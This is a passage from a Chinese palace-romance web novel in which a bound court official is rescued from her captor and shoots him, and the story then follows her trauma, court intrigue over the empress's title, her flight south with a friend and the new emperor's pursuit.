周妙雅猛地睁开眼,恶狠狠地盯着他看:“文毓瑾,你这人渣!你那里都已经被踩坏了,为何还执迷不悟?” 文毓瑾脸上的笑容顿了顿,似毒蛇被掐住了七寸,目光骤然变得阴鸷起来。 那笑容从他脸上褪去,露出下面扭曲的表情,无能狂吠: “没那能力又如何?阉人尚可与宫女对食,我与你这浣衣局的贱婢对食,怎就不行?” 听到他如此不要脸的言论,周妙雅的瞳孔骤然缩紧了。 “你做梦!” 她嘶喊着,拼命往后缩,欲离他远些。但手脚被绑着,她挣不动,只能在榻上一点一点往里挪动。 文毓瑾看着她那狼狈的样子,笑得更开心了。 “雅儿…” 他慢慢凑近,气息灼热:“你跑什么?我是你的大哥哥,从小看着你长大的大哥哥。怎么,你娇娇怯怯,柔柔弱弱地唤我大哥哥的时候,这么快便忘了么?” 周妙雅拼命摇着头,嘴里喊着:“文毓瑾,人渣,你离我远点!” 文毓瑾脸上的笑容骤然消散。 他猛地伸出手,一把掐住了周妙雅纤细嫩白的脖颈。 那只手冰凉,用力,像铁钳一般死死地将她箍住。 周妙雅的呼喊声戛然而止。 她双目圆睁,看向文毓瑾那张扭曲的面容,望着他眸中那缕疯狂窜涨的火焰。 “雅儿…” 他一字一字,声音低得像从地狱中飘出:“你给我听好了,你生是文家的人,死是文家的鬼,你这辈子,下辈子,生生世世,都别想逃开我。” 周妙雅的脸开始发红发紫。 她张着嘴,想呼吸,却呼吸不了,眼前开始发黑,渐花。 就在她将要失却意识的最后一瞬,文毓瑾猛地松开了手。 周妙雅瘫在榻上,大口大口地喘气,咳嗽,眼泪瞬间不受控制地流了下来。 文毓瑾看着她那副模样,满意地笑了。 只见他缓缓站起身,猛地掀开幔帐,走到了床榻的对面。 泣血的红烛瞬间照亮了整个房间。 周妙雅侧过头,看了一眼。 霎时整个人都僵住了。 房间很大,布置得诡异而奢靡,到处都燃着红烛,烛火跳动,把一切都染成暧昧的红色,似洞房花烛夜一般。 然而最刺眼的,是床榻的正对面,一个紫檀木衣架上,悬挂着的一件纱衣。 那件纱衣轻薄如蝉翼,在烛光下泛着幽幽的光泽,它被极其郑重地挂在那里,像是祭坛上供奉的圣物。 周妙雅的瞳孔骤然缩紧。 是那件她侍寝时候穿过的纱衣,她一辈子也忘不了那件纱衣给她带来的屈辱。 可它怎么会在文毓瑾这个变/态的手里? 周妙雅浑身都在发抖。 不是冷,是怕。 那件纱衣带给她的,是比面对文毓瑾本人更深的恐惧。 仅仅看到它,她就被瞬间拖回了那个噩梦般的夜晚。 乾清宫,龙床,嬷嬷们的手,冰凉的水,粗糙的巾子,浓郁的熏香,还有那件几近透明,什么都遮不住的纱衣。 她一个人躺在龙床上,手脚被绑着,嘴被堵着,动弹不得。 无尽的黑夜中,她只能静静地等着,数着更鼓声,盯着蜡烛,提心吊胆那个随时可能推门而入将她侵/犯的人。 那一夜的恐惧,早已深深地刻进了她骨子里。 然而此刻,那件纱衣就悬挂在对面,在红烛下泛着冰冷而妖异的光泽。 它好像无尽暗夜中的一只眼睛,死死盯着她,嘲笑她,随时准备将她再次拖入那无尽的噩梦之中。 “不…” 周妙雅的声音从喉咙里挤了出来,沙哑,破碎: “不!不要!求你…不要!” 她拼命挣扎着,手脚被绑着挣不动,整个身子在榻上疯狂的扭动着。 发髻散了,头发披散了下来,遮住她惨白的脸,外衫被撕破的地方越来越大,露出里面松散快要遮不住的小衣。 “放开我!畜生!拿开!把那东西拿开!!” 她的声音嘶哑破裂,几近崩溃。 文毓瑾站在衣架旁,伸手抚摸着那件纱衣,动作轻柔的似在抚摸情人的肌肤。 他转过头,看着周妙雅那疯狂挣扎的样子,脸上浮起扭曲的,沉浸在自己邪恶幻想中的疯狂笑容: “雅儿,这衣服好看吗?我可是花了一千两银子,从宫里弄出来的。” 周妙雅拼命摇着头,扭开头,不敢去看那件纱衣。 但文毓瑾不让她躲。 他快步走了过来,一把揪住她的头发,粗暴地将她的脸扳向纱衣的方向。 “看!好好看!这是你那天晚上穿的,你就像个卑贱的窑姐儿,穿着它,躺在龙床上,等着陛下来!你也就会跟老子装装清高,你倒是说,你穿着它躺在龙床上的样子,与千人骑万人踏的青楼女子有何分别?” 周妙雅的身体剧烈地颤抖着,胃里一阵翻涌,她干呕了几声,但什么都吐不出来。 “别怕…” 文毓瑾揪着她的头发,将她的脸抬起来,被迫看向他,声音轻柔得像是在哄孩子:“雅儿,我们重新来过好不好?你穿上它,给我看,那次陛下没成的,我来。” 周妙雅的眼泪不受控地顺着脸颊滑落了下来。 她拼命摇着头,嘴里发出呜呜的声音。 文毓瑾看着她,脸上的笑容越来越疯狂:“穿上它…给我看。” 就在文毓瑾话音落下之际。 他松开周妙雅的头发,双手抓住她外衫的领口,用力一撕。 嘶啦—— 布帛撕裂之声刺耳,在安静的室内回荡。 周妙雅的外衫被他撕开,露出里面已经松散的小衣,胸前的雪白若隐若现。 她尖叫着,拼命挣扎,但手脚被绑着,挣不动,也躲不开。 文毓瑾眼底燃起疯狂的光,那光映着红烛,如鬼似魅。 他喘着粗气,嗓音嘶哑:“叫啊,你叫得越大声,我越痛快。” 说罢,他又伸出手,要去撕她身上仅剩的小衣。 就在这千钧一发之际。 只听“嘭”一声巨响。 房门轰然炸裂,整扇门板从门框里脱飞而出,重重砸在地上,扬起一片尘土。 夜风瞬间灌入,满屋的红烛剧烈地摇晃了起来,光影乱舞。 月光倾泻而入,门口站着一个高大的身影。 男人玄甲浴血,脸上亦溅着斑驳的血迹,唯有一双眼睛,亮得惊人。 文毓瑾看着那人,瞬间便怔住了。 他还没反应过来,朱弘毅已疾步上前,一把扣住他后颈,如拎小鸡般将他从周妙雅的身侧提起,然后狠狠一甩。 文毓瑾整个人脱手飞出,撞向墙壁,又重重摔在了地上。 朱弘毅上前,一脚踩在了他的脸上。 文毓瑾的脸被碾在地上,动弹不得,他挣扎扭动着,但那只脚像山一样压着他,纹丝不动。 朱弘毅抬手举剑,剑尖直抵他的喉咙。 文毓瑾的眼底终于露出了一丝惧色。 长安快步走了进来,几步冲 到床边,他看见周妙雅被绑着,衣衫破碎,浑身发抖,眼眶瞬间就红了。 他一言未发,只是迅速地抽出匕首,割断了她手腕上的绳子,又割断了她脚踝上的绳子,然后将早已准备好的披风,轻轻罩在了她的身上。 周妙雅裹紧披风,起身坐在榻上,浑身还在剧烈地颤抖着。 长安站在她身边,俯身低声询问:“周姑娘,您还好吗?” 周妙雅没有回答。 她只是低着头,大口大口地喘着气,眼泪一滴一滴的落了下来,砸在披风上。 长安不敢再问。 过了很久,周妙雅才慢慢抬起头。 她胡乱地抹了一把脸上的眼泪,看向长安,声音沙哑:“长安,把你腰间的火铳给我。” 长安霎时便愣在原地。 他下意识地看向朱弘毅。 朱弘毅踩在文毓瑾的脸上,看着他,没有说话,只是微微点了点头。 长安自腰间解下火铳,双手奉至周妙雅的面前。 周妙雅接过,那火铳沉甸甸的,与她藏于柜中的那把一般无二。金属的凉意自掌心蔓延上来,她颤抖的双手渐渐地稳了住。 她握着火铳,站起身。 裹着披风,赤着脚,一步一步走到朱弘毅的身边。 朱弘毅看着她走了过来,只是把踩在文毓瑾脸上的脚慢慢挪开了。 文毓瑾趴在地上,抬起头。 他看见周妙雅站在面前,手中握着火铳,对准了自己。 他愣了一下,然后忽然笑了。 那笑容疯疯癫癫的,愈发张狂。 “哈哈哈…” 他笑着,嘴里疯狂地嘶吼着:“你开枪啊!你倒是开枪啊!你以为你杀了我就能抹掉你自己的那些肮脏事吗?你穿着那件纱衣躺在龙床上像个妓/女的样子,你这辈子都忘不掉!你…” 砰——! 一声巨响。 火铳的声音在房间里回荡,震得人耳朵嗡嗡作响。 文毓瑾的笑声戛然而止。 他的脑袋猛地往后一仰,然后整个人倒了下去。 鲜血从他头上汩汩涌了出来,瞬间染红了地面。 周妙雅站在那里,手里还握着火铳,枪口尤在冒烟。 她的手在剧烈地颤抖着。 但是她没有退。 她冷冰冰地看着文毓瑾的尸体,看着那张扭曲的脸,和喷涌而出的鲜血。 眼泪如决堤般,又流了下来。 朱弘毅上前一步,握住了她死死握着火铳的手。 那只手冰凉,发抖,却握得很紧。 他轻轻把火铳从她手中拿了下来,递给身后的长安。 然后他伸出手,将她揽进了怀里。 周妙雅浑身一僵,然后整个人软下来,靠在他怀里,哭出了声。 朱弘毅没有说话,只是紧紧地抱着她,一只手轻轻拍着她的背: “没事了,妙雅,一切都过去了。”—— 作者有话说:文毓瑾终于下线了!!!开香槟热烈庆祝文毓瑾下线!!撒花撒花撒花!![撒花][撒花][撒花][烟花][烟花][烟花] “吾弟当为尧舜”这句话出自明熹宗朱由校临终前对弟弟朱由检(即后来的崇祯帝)的嘱托。 熹宗天启七年八月,上不豫。时魏忠贤张甚,中外危栗。上召信王入见,谕以“吾弟当为尧舜之君”。信王惶恐不敢当,但云:“陛下为此言,臣应万死。”信王出,上崩。 第137章 周妙雅倚在朱弘毅怀中, 犹自颤栗不已。 她伏在他的胸口,听着他沉稳有力的心跳声,一下, 又一下。 可她仍止不住地在颤抖, 似是身体还记得刚才的恐惧, 仍不肯相信自己已经彻底安全了。 “二郎…” 她声音沙哑,带着哭腔,哽咽着:“二郎,你终于回来了。” 朱弘毅抱着她,一只手轻轻抚着她的背,那动作极轻,极缓, 极温柔,似恐惊扰了她:“没事了, 都过去了。” 周妙雅没有说话, 只是将脸埋入了他的怀里,终是哭出声来。 他就这么静静地抱着她,安抚着她, 似是过了很久,周妙雅的哭声渐渐小了, 化作了细弱的抽噎。 朱弘毅低头看着她,想说些安抚她的话。 可忽然, 周妙雅猛地抬起了头。 她的眼睛直直地盯着他的身后,瞳孔骤然缩紧。 朱弘毅顺着她的目光看了过去。 是那件纱衣。 它还挂在紫檀木衣架上, 在烛光下泛着幽幽的光。血红色的烛火映在上面,让它看起来恍若妖物。 周妙雅的呼吸又急促了起来,浑身开始剧烈地发抖。 她抓着朱弘毅的衣襟, 手指攥得紧紧的,说话声音都带着颤:“二郎…烧了它,烧了它…” 就在说话间,周妙雅的眼泪又流下来,汹涌难止。 她摇着头,嘴里一遍又一遍地重复着: “二郎,烧了它,求你,求你了,烧了它…我永远都不想再见到它…” 朱弘毅看着她苦苦哀求的样子,重重点了点头,将她安抚好之后,慢慢地松开了她,走到了衣架前。 他拿起旁边的一盏烛台,将火凑了上去。 纱衣瞬间腾起了烈焰。 火苗舔舐着那层薄薄的纱料,一点一点将它吞没,它燃烧得很快,像是迫不及待要从这个世界上消失一般。 周妙雅静静地看着那团火焰,纱衣在烈火中卷曲,发黑,最终变成灰烬。 她的眼泪仍在流,身体还在剧烈地颤抖,就算是这件纱衣已经化成灰烬,她心里由此而留下的创伤,也永远不会随着纱衣一同灰飞烟灭。 文毓瑾临死前的话深深刺痛了她,如同一把利刃,在剜她的心:“你以为你杀了我就能抹掉你自己的那些肮脏事吗?你穿着那件纱衣躺在龙床上像个妓/女的样子,你这辈子都忘不掉!” 是啊… 就算她的二郎回来了,又能怎么样呢? 她是脏的… 她此生… 再也忘不掉了… 纱衣燃烧的火焰,逐 渐蔓延到了满屋的红色幔帐上,红烛渐次倒下,整个房间即将被吞噬在火海之中。 朱弘毅走回她身边,俯下身,将她打横抱了起来。 周妙雅没有挣扎,她只是静静地靠在了他的怀里,闭上了眼睛。 朱弘毅抱着她,大步向外走去,留下了身后火光冲天的文府别院。 整个别院都在燃烧,火舌从窗户里窜出来,舔舐着夜空,木头噼啪作响,热浪滚滚而来。 门外,辽东军列阵齐整,手中高举火把,将黑夜照得亮如白昼。 他们看见新帝怀里抱着一个女人,从火光中走了出来。 辽东军齐齐跪下,声音整齐划一,在夜空中回荡: “陛下。” 周妙雅蜷在他怀里,紧闭着双眼,双手紧紧环着他的脖颈。 可她听到了,她听到了他们叫他,陛下… 想来是泰和帝已崩逝,将皇位传给了弟弟。 他如今已立于那高不可攀的九五至尊之位,那她呢?她这般污浊之身,还如何与他并肩而立? 念及此,周妙雅将脸往他怀中又深深埋了埋。 想来连贪恋这片刻温存的时间,于她而言都所剩无几了。 ———— 先帝的丧礼需行小敛,大敛与出殡等诸多礼仪,丧仪繁冗,新皇登基更是不可怠慢。 朱弘毅近日忙得焦头烂额,不可开交。 因皇权更迭,顾云舒不再是新朝皇后,她已由坤宁宫迁居至太后所居的慈宁宫,但因新皇尚未立后,所以后宫与六局二十四司仍由她暂管。 周妙雅现已官复原职,于慈宁宫协助顾云舒筹备先帝的丧仪,每天从早忙到晚,与朱弘毅几乎没有什么见面的机会。 朝中百废待兴,新帝登基大典正式举办前,最重要的事情是重组内阁,完成新朝六部九卿的班底更迭。 徐明阳已奉诏还京,接任内阁首辅一职,来福亦掌管司礼监,晋为新一任的司礼监掌印太监。 新帝颁发的第一封与天下民众的诏书,便是将康敏之与李太妃勾结北狄,构陷周承山,意图窃国之罪证公诸于世,为周承山平反。 民间闻之,霎时沸腾。 百姓自发为周承山修建祠堂,于寺庙中供奉其牌位,以缅怀这位昔日抗敌拒帑,保家卫国的大英雄。 京城的酒楼茶肆间,说书人又讲起了辽东风雪,除了绘声绘色地讲述周承山的故事之外,更添了张文龙与其麾下神秘蒙面将军的传奇故事。 一切似乎都在朝着更好的方向发展着。 博尔济跟随朱弘毅与辽东军一起来到京城,一直住在鸿胪寺专门接待外宾的四方馆,由顾凌云亲自负责她的安全。 朱弘毅把她交给顾凌云的时候,说得很清楚,这是北狄的公主,知道如何制作逍遥散的解药。待时机成熟,便带她进宫去见皇嫂,帮皇嫂解毒。 顾凌云记着这些话,所以对博尔济一直都很照顾。 他带着她去逛京城,给她买好吃的,陪她说话解闷,博尔济问他什么,他都耐着性子回答。 不过博尔济每天问的最多的问题,全是关于朱弘毅的。 事关新帝,顾凌云回答得都小心翼翼的,唯恐言辞有失。 他深知如今朝堂之上,新帝以雷霆手段著称,李太妃与代王的子嗣被关押进了凤阳高墙,永无赦期。阉党被连根拔起,但凡与阉党有丝毫瓜葛者,无一幸免。 而如今朝堂之上,还有一事吵得很凶,便是关于新帝立后之事,据说有人因反对新帝所提人选,已遭廷杖五十大板。 “顾大人?”博尔济站在他面前,仰首眨眼,将顾凌云从朝堂轶闻的思绪之中拽了回来。 “顾大人,你还没有告诉我,陛下为什么那么喜欢周妙雅?” 顾凌云愣了一下,斟酌着说:“周姑娘是个极好的人。” 博尔济自是不服,追问道:“你们一个个都是夸她,她到底哪里好?怎么个好法?来日本公主定要去会会她。” 顾凌云没有再继续理会她,博尔济心下里暗忖着:江南女人,弱不禁风,肩不能扛,手不能提,能好到哪去? 待京城的时局逐渐走向稳定之后,顾凌云带着博尔济进了宫。 于慈宁宫见了顾云舒,博尔济为她诊了脉,言余毒未清,但不算太严重,逍遥散的解药需几味草原特有的药材,她可以写个方子,顾云舒可按照方子遣人去采办。 韩司药在一旁接过方子,即刻吩咐了下去,务必尽快采办齐全。 顾云舒道了谢,留她在慈宁宫喝茶,博尔济喝不惯中原的茶,只抿了一口就放下了,那茶太淡,不如北狄的奶茶浓烈。 告辞出来,顾凌云带着她穿过回廊,准备出宫。 在一处无人的回廊转角,迎面走来一个女子,手里捧着一卷册子,像是刚从六尚局办完事回来。 那女子穿着一身素白的立领斜襟长衫,发髻高挽,长衫边系的苏绣飘带随风而摆,阳光漏入回廊中,将她整个人笼在一层柔和的光晕中。 许久未见,顾凌云看见她,眼睛都亮了: “周司典!” 他快步迎了上去,笑着打招呼。 周妙雅抬眸,见是他,亦是展颜一笑。 那笑容极淡,却令人如沐春风。 “顾大人。” 她敛衽行礼,举止优雅从容。 顾凌云站定,侧过身,指着身后的博尔济,热络地介绍道: “周司典,这位是北狄的博尔济公主,是陛下从辽东带回来,特意进宫来给阿姐解毒的。” 周妙雅的目光落在她身上,又敛衽福了一礼:“公主殿下。” 博尔济却未理会,只以审视之态,将周妙雅从头到脚细细打量了一番。 周妙雅就在那里静静地站着,不知这位北狄公主心中在思量些什么。 博尔济看了半天,此刻她心中早已有了定论,她不喜欢眼前这个柔弱纤细的江南女子,尽管不得不承认,她确实长得很美。 半晌,博尔济终于开口,语气里带着一丝不屑,尾音微微上扬,隐有一种情敌见面分外眼红的意味: “你就是周妙雅?” 周妙雅恭谨回道:“是,公主殿下。” 博尔济看着她那副恭顺的模样,眉头瞬间就皱了起来。 这就是朱弘毅喜欢的女人?这就是让朱弘毅拼尽性命,上阵杀敌,也要为其正名的女人? 她想象中的周妙雅,应该是那种能与他并肩作战,一起骑马射箭,能立得住疆场的女子,就像草原上的女儿,敢爱敢恨,敢作敢当。 可眼前这个人… 柳若扶风,娇怯怯的,说话声音软软糯糯,好似风一吹便会倒,说两句便要落泪。 博尔济想不明白。 她骨子里是北狄女儿,豪放爽直,爱憎分明,喜欢就是喜欢,不喜欢就是不喜欢。 她无法理解朱弘毅为什么会喜欢这样的女人。 反正她,很讨厌这个娇娇弱弱,楚楚可怜的女子。 她心中十分确定,这个女人配不上科尔沁草原上的雄鹰。 若是能将她赶走就好了… 暗念既生,便如藤蔓般于心底疯长。 博尔济看着周妙雅,目光中带着一种居高临下的审视,语气冰冷:“陛下如今是九五之尊,理应配这天下最尊贵,能与他并肩作战的女子,而不是你这种看着随时要哭哭啼啼,只会给陛下拖后腿的人。” 一瞬间,周妙雅彻底愣住了,她没有想到博尔济开口,对她说的却是这样的话。 顾凌云脸色一变,连忙上前一步,护在周妙雅身前,想要制止。 “公主,慎言!” 他的声音有些急,甚至伸手去拉博尔济的袖子。 博尔济看都没看他一眼,只是盯着周妙雅,等着她的反应。 回廊里瞬间安静极了,周妙雅站在那里,并没有说话,她的睫毛轻轻颤了颤,像是被风吹动的蝶翼。 顾凌云心下里万分着急,他拽了拽博尔济的袖口,低声劝道:“公主,别再说了…” “顾大人,让她说。”周妙雅终于开口,语气却出奇的平静。 博尔济甩开顾凌云,往前迈了一步,站在了周妙雅的面前,居高临下地看着她。 她比周妙雅高出了半头,往那里一站,气势上先压了半分。 她身穿着北狄袍服,腰悬短刀,通身透着草原女儿特有的剽悍。 周妙雅站在她面前,似一株江南弱柳,纤细柔韧,却自有一股不服输的韧劲。 “好,那我便直说。” 博尔济的声音很干脆,不带一丝遮掩: “只要你答应离开陛下,离开皇宫,永远不回来,待我拿到那几味草原特有的药材,自会帮前皇后解毒。” 她的语气里带着一种北狄女子特有的骄傲和坦荡:“你离开陛下,对大家都好。” 说到这里,她顿了顿,目光灼灼地看着周妙雅: “陛下如果娶了我,北狄最尊贵公主和大晟联姻,以后再也不会有战争,草原上的部落会臣服,边境的百姓可以安生过日子,这是两国之福。” 周妙雅只静静地听着,良久,她闭上了眼睛。 眼下,皇权更迭,百废待兴,朱弘毅确 实需要一个能帮他的妻子,大晟需要一个能稳固边境的皇后,北狄需要一个能带来和平的联姻。 博尔济说的都对。 文毓瑾临死之前说的话又在她耳边回响了起来,她不自觉地想到了那件纱衣,想到了那心惊胆战的一夜。 侍寝之事就像一把利刃,横亘在她和朱弘毅之间。 是啊,文毓瑾说的有错吗?她那一夜所做之事,与青楼倡妓又有何分别? 她下意识地交臂,环住了自己。 顾凌云实在不忍,他走到她面前,试图唤醒她:“妙雅,妙雅…” 他知道周妙雅为了朱弘毅吃了多少苦,受了多少罪。他知道周妙雅在浣衣局里手都洗烂了,还在等朱弘毅回来。 他实在于心不忍,看见她这副模样。 周妙雅睁开了眼睛,泪眼婆娑地看向顾凌云。 她只是冲他点了点头,而后越过了他,走到了博尔济的面前。 博尔济抱臂而立,眼含不屑,心中暗忖:果然只会哭哭啼啼。 周妙雅开口,声音很轻,轻得像风吹过的落叶:“公主殿下,您说的这些,下官都明白。大晟需要和平,边境的百姓需要安生日子,陛下需要一个能帮他稳住朝局,稳固江山的皇后。” 说到这里,她顿了顿,唇角却微微扬起,露出一丝极淡的笑。 “下官不是不懂这些道理,下官只是…” 她没有说完。 只是什么?只是舍不得?只是不甘心?只是还抱着那一丝渺茫的希望? 她没有说出口。 博尔济在等着她说完。 过了很久,周妙雅才又开口。 “好。” 她的声音很轻,轻得像一声叹息。 “我答应你。” 顾凌云整个人都傻了。 “妙雅!” 他喊出声来,声音都变了调。 周妙雅没有看他。 她只是看着博尔济,目光平静得像一潭死水。 “公主殿下,请您说话算话。” 说罢,她敛衽行了一礼,动作优雅从容,然后转过身,一步一步往外走去。 顾凌云不顾一切地追了上去,将博尔济一个人留在了原地。 穿过假山,顾凌云终于追上了周妙雅,将她一把拽住。 周妙雅再也绷不住,在顾凌云面前彻底卸下了心防。 泪水不受控制的决堤而出,汹涌难止,她哽咽着,泣不成声:“顾大人,你不必劝我,妙雅自知如今已是污浊之身,配不上陛下。” 顾凌云心疼地轻轻握住她的双臂,只觉她哭得浑身都在剧烈地颤抖着。 “妙雅,你又何必如此轻贱自己?众人皆知,那夜并未发生什么。” 周妙雅哭着摇了摇头:“顾大人,我知道,前朝为了立后之事争执许久,陛下顶着莫大的压力,可那些言官呈上的折子,妙雅不是不知道里面都写了什么。” “那些折子里的内容,字字诛心。” 她嗓音发颤:“言官说我既侍奉先帝,又勾引新帝,身为女官却淫/乱后宫,若立此女子为后,实乃祸乱朝纲,大晟之耻。” 她顿了顿,泪水又汹涌滚落:“他们说我…狐媚惑主,牝鸡司晨,顾大人,这字字句句,妙雅如何担得起?” “当日既已决意侍寝以救韩司药,便当想到会有今日,顾大人,妙雅不愿让陛下为难。” 顾凌云紧了紧握着她双臂的手,柔声道:“妙雅,既然你意已决,那便由我带你走,可好?” 周妙雅猛地一怔,终是缓缓抬首,泪眼朦胧地看向他。 顾凌云的目光诚挚坦然,带着孤注一掷的决绝:“妙雅,我带你走,我们远离京城,远离朝堂,远离所有这些是非恩怨,我们去一个没人认识我们的地方,广州府也好,更南边也罢,甚或是南洋…我可以放弃一切,只求你平安喜乐。” 这是他第一次如此明确地表达出自己的心意,他不是在算计她,而是在看到她如此痛苦后,真心想予她一条生路。 “妙雅,忘记这里的一切,忘记…他。” 顾凌云的声音低沉,却十分笃定:“我可以给你一个全新的开始,一个只有平静和安稳的未来。” 周妙雅望着他,脑海中一片空白,可唯有一事她看得分明,她应该离开这里,远离这里的一切,唯有这样才能让她彻底忘记那一夜带给她的耻辱。 她重重点了点头:“好,顾大人,带我走吧。” 第138章 来福最近总是往尚宫局跑。 权力更迭, 新帝需以大量精力稳住朝堂,与阉党余孽及反对立后之人周旋。 辽东百姓需要和平,大晟与北狄需修好停战, 朱弘毅被诸事缠身, 委实无暇陪伴周妙雅左右。 但他每日会遣来福去尚宫局送东西, 凡吃穿用度,所有最好的东西,都第一时间念着她。 尚宫局的众女官,眼红嫉妒的不少,私下里窃窃私语: “听说陛下欲立她为后,大臣们不允,言其侍奉过先帝, 祸乱朝纲,不配为后, 前朝为此事打得可厉害了。” “可不是, 听说御史郑大人死谏,遭廷杖五十,归家未几, 便病殁了。” “这可是六尚局出了名的狐媚子,真真是狐狸精转世, 缠完先帝缠今上,六尚局的名声都叫她败坏尽了。” “快别说了, 如今可不是魏公公掌权了,那司礼监的来福公公, 可是向着这狐媚子的,小心嚼舌根传进他耳朵里,拔了你们的舌头。” 周妙雅受够了这些流言。 另一边, 北狄大汗阿慕尔入京朝贡,为新帝带来归顺之意,言北狄欲效仿五代十国末期吴越国纳土归宋之例,正式归附大晟。 朱弘毅自是欣喜,亲为阿慕尔赐七章冕服,规格等同藩王。 阿慕尔亦献大量北狄裘皮,骏马,并被允许留京,以待新帝的登基大典。 朱弘毅心下欢喜,特命来福将北狄进献的最好的雪狐裘皮送给周妙雅。 来福捧着那雪狐裘皮,忍不住看了又看,叹道:“真是太好看了,周司典肯定会喜欢的。” 朱弘毅唇角微微扬起,吩咐道:“你亲自去尚服局一趟,令其尽快赶工,为她做一件漂亮的披风,入冬的时候御寒穿。” 来福心中欢喜,面上也笑的灿烂:“奴才这就去。” 他刚欲抬脚,忽似想起什么,转身又问了一句:“陛下,可要顺便带句话给周司典?” 朱弘毅点了点头:“还是你想得周全,替朕转告她,近日朝事繁冗,朕无法抽身去看她,是朕之过,待这段时间忙过,定不负她相思之意。” 来福领了命,欢喜地走出了乾清宫。 他捧着那雪狐裘皮来到尚宫局,正好碰到了孙女官,孙女官看到来福便知是陛下派他来寻周妙雅的,遂道:“今日周司典并未当值,来福公公可往慈宁宫瞧瞧?” 来福又去到慈宁宫,宫人见了他,都恭恭敬敬的俯身行礼,正巧碰到如意领着顾府的老管家来拜访顾云舒,来福上前,向如意道 明了来意。 如意当即遣宫人去寻周妙雅,却见那宫人面露难色:“周司典昨夜彻夜未归,今日亦不在房中。” 如意怒目圆睁,怒道:“为何不来禀报?” 那宫人立马跪下磕头:“奴婢该死,请如意姑姑责罚。” 如意正欲发作,只见顾府老管家开口道:“巧了,老夫今日特地入宫觐见,亦是因大少爷自昨夜至今未归,连书信也未留下一封。” 来福当下便慌了神,周妙雅与顾凌云同时失踪,这也太过巧合了些,他联想到近日以来朝堂上发生的种种,下意识道:“坏了。” 如意不解地看向他:“来福公公,出了何事?” 来福不及应答,只疾步离去,飞也似的往乾清宫奔去。 已是黄昏,夕阳西下,朱弘毅正伏案专心批阅奏章。 殿外突然传来急促的脚步声,打断了他的思绪,他抬首,却见来福匆匆而归。 他向来知道来福不是冒失之人,定是出了大事,忙搁下手中朱笔,问道:“何事如此慌张?” 来福噗通一声跪倒在地,叩首道:“陛下恕罪,是奴才失职,慈宁宫宫人言,周司典昨夜便彻夜未归,至今仍未归,奴才在慈宁宫正巧遇顾府老管家,听其言…听其言…顾…顾大人也,从昨夜至今未归…” 朱弘毅听罢,半晌无言。 夕照入殿,来福不敢抬眸窥其神色,然心中异常明镜,陛下此刻的脸色,定然极其难看。 良久,朱弘毅终是开口:“找…这只是巧合,朕不信,定是你们未仔细去寻。” 来福无奈,只得命宫人即刻四散,遍搜宫中所有角落,然而徒劳无果。 朱弘毅负手在乾清宫内踱步,听着宫人一遍遍的回报,面色越来越难看,如暮云低压,山雨欲来。 “为什么?来福,你告诉朕,她为何要离开?” 来福跪在地上,一句话也不敢说。 长安带着一队锦衣卫来报,说北镇抚司找遍了顾凌云平日常去的地方,都不见他的身影。 良久,只见御座之上,朱弘毅眸色猩红,忽然笑出声来。 “朝堂之上,朕每日为她挡下多少言官?朕原以为,只要予她时日,她会想通的。” “那夜明明没有发生任何事,只因人言可畏,这帮人就要将她逼走?” “她竟如此对朕,只因言官人云亦云,她便要弃了与朕多年相守的情分,离朕而去?” 他抬起手,一拳重重砸在了龙案之上。 一声巨响于殿内回荡。 朱笔被震起,滚落于阶下,逶迤甚远。 长安与那一队锦衣卫,瞬间跪伏于地。 朱弘毅站在那里,看着自己的手,指节处已有鲜血渗出。 “传令下去。” 他的声音忽然变得骤冷,如坠寒潭,似换了个人一般。 “即刻封锁京城所有城门,追查出京车马,封禁官道,锁闭运河码头,搜查沿途所有驿馆客栈,便是要挖地三尺,也要将他们寻出。” 长安立马磕头:“遵旨。” 待长安刚要带着那一队锦衣卫退出大殿,只见朱弘毅红着眼,语气如淬过冰的利刃:“备马。” 来福霎时愣了一下。 朱弘毅语气决绝:“朕亲自去追。” ———— 京城南下途中,马车已晃晃悠悠行了一夜。 他们不敢走官道,亦不敢走运河,只敢取乡间小路。虽道阻且长,却是最稳妥之选。 车厢内光线昏暗,只有从车帘缝隙里透进来的几缕晨光,在周妙雅的脸上晃动着。 她疲惫地靠在车壁上,脸色苍白,眼底泛着青影,一夜未睡。 顾凌云心疼地看着她,轻声问道:“妙雅,要不要停下歇一歇?” 周妙雅用力摇了摇头,语气中带着不容商量的坚决:“莫要耽误了赶路,越早离开越好。” 顾凌云没有继续再劝下去,他只是静静地看着她,她的双眸在躲闪,神色痛楚,心下似被什么东西狠狠地揪着。 马车继续在田间小路前行。 过了很久,顾凌云忽然开口:“妙雅,你想过以后吗?” 周妙雅转过头,一双水亮亮的眸子不解地看向他,没有说话。 顾凌云迎着她的目光,笑了笑,那笑容很温暖,带着几分憧憬,似真的在描绘着一个美好的未来。 “到了广州府,我们换船去南洋,那边没人认识我们,我们可以重新开始,在那里生活。” 周妙雅静静地听着,没有应声。 顾凌云继续憧憬着未来的生活:“你可以在那边卖画,南洋多有远漂的大晟人,他们肯定喜欢故国的丹青。” 说到这里,他顿了顿,似是在想象着那个画面。 “我到时候盘个酒楼,或者开个武馆,教人练武,我们…我们可以在那里过平静的日子。” 周妙雅听着他说这些,唇角微微扬起。 那是一个极淡的笑,淡得几乎难以辨别。 可她的眼睛,却始终未看他。 她望着车窗外,望向那些飞速后退的景色。 那些山,那些树,那些路,都在把她和乾清宫御座上的那个人拉得越来越远。 她的手指无意识地攥紧了袖口。 心好痛,痛到不能自已。 马车辘辘而行,驶入一处密林。 车轮碾过落叶,发出细碎声响。 四周安静极了,唯有偶尔传来的鸟鸣,与风吹过树梢的沙沙声。 周妙雅靠在车壁上,迷迷糊糊的半睡半醒,想睡,却因为心事太重,睡也睡不踏实。 顾凌云静静地看着她,没有出声。 见她眉头紧蹙,双眼紧闭,他轻手轻脚地起身,将车窗的帘子放了下来,遮住越来越盛的天光。 突然,周妙雅被一阵急促的马蹄声惊醒。 她猛地睁开双眼,看向顾凌云。 顾凌云正在凝神静听,只听得那马蹄声由远及近,越来越响。 他当即脸色骤变。 锦衣卫多年的职业素养使得他立即起身坐到了她的身边,伸手护住了她。 那马蹄声越来越密,不只是一匹马,而是几十匹马! “别怕。”顾凌云低声安慰着周妙雅,他的声音很稳,但周妙雅能感觉到他揽在自己肩头上的手在发紧。 马蹄声越来越近,近得像是就在身后。 突然—— 一匹汗血宝马如闪电般从侧翼冲出,瞬间横在了马车之前。 马匹受惊,人立而起,发出嘶鸣。 那马匹的嘶鸣声尖锐刺耳,在密林中悠长回荡。 顷刻间,马车剧烈倾斜,车轮卡在路边,差点翻倒。 